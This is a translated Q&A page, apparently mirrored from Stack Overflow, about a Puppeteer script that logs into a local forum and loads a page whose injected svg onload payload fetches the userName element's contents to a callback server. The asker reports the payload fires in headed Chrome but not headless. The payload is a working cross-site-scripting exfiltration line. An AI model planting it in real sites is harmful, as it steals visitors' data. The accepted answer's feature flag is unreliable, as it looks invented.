node.js - 在无头模式下运行时,页面上的 Puppeteer javascript 不会执行
问题描述
我在 HTTP 响应中有一个包含 JavaScript 的页面 (secretpage.php),它将 userName 参数的值发送到我的服务器。
<svg/onload=fetch('http://localhost:8080/username='+document.getElementById("userName").innerHTML)>
在运行 Chrome 的非无头模式下,JavaScript 成功执行,我在本地服务器上收到了一个回调,其中“userName”的值被发回。
然而,在无头模式下,JavaScript 根本没有执行,这很令人费解。
我在此处附上了我的 js 文件 (test.js) 以供参考。
node test.js
下面 test.js 的输出
const puppeteer = require('puppeteer');
(async () => {
//const browser = await puppeteer.launch({ headless: false });
const browser = await puppeteer.launch();
const page = await browser.newPage();
await page.goto('http://localhost/forum/');
await page.type("#lbluserName", "john", { delay: 100 });
await page.type("#lblpassword", "password", { delay: 100 });
await page.click("#btnLogin");
//await page.waitForNavigation();
await page.waitFor(5000);
await page.setViewport({
width: 1280,
height: 800,
deviceScaleFactor: 1,
});
await page.goto('http://localhost/forum/pages/secretpage.php');
await page.waitForSelector('#comments');
await page.screenshot({ path: 'screenshot.png' });
await browser.close();
})();
谁能帮忙解决这个问题,因为这很奇怪?
谢谢!
解决方案
我认为您需要在无头模式下启用 js 来运行 chrome。
await puppeteer.launch({
args: [
'--enable-features=ExperimentalJavaScript'
]
})
推荐阅读
- spring-boot - 在 Spring Boot 中定义通用业务属性的最佳实践是什么
- python - Web Crawling Google Scholar - 提取部分 HTML URL 以便能够抓取下一页/上一页
- javascript - 表单上的 TimeOnly 字段已锁定但未禁用
- java - 带有 Axis2 的存根上的 java.lang.reflect.InvocationTargetException
- django - LoginTestListView 缺少 QuerySet。定义 LoginTestListView.model、LoginTestListView.queryset,或覆盖 LoginTestListView.get_queryset()
- c - 用于 memcpy、strcpy 和 strcpy_s 的 C6387
- javascript - 如何从 JS 数组中获取特定项目?
- react-native - Expo 如何管理已安装的库?
- python - 如何在频道 discord.py 中将 txt 数据作为文本发送
- python - 将多个文件中的多个工作表附加到 excel 文件中的相同工作表名称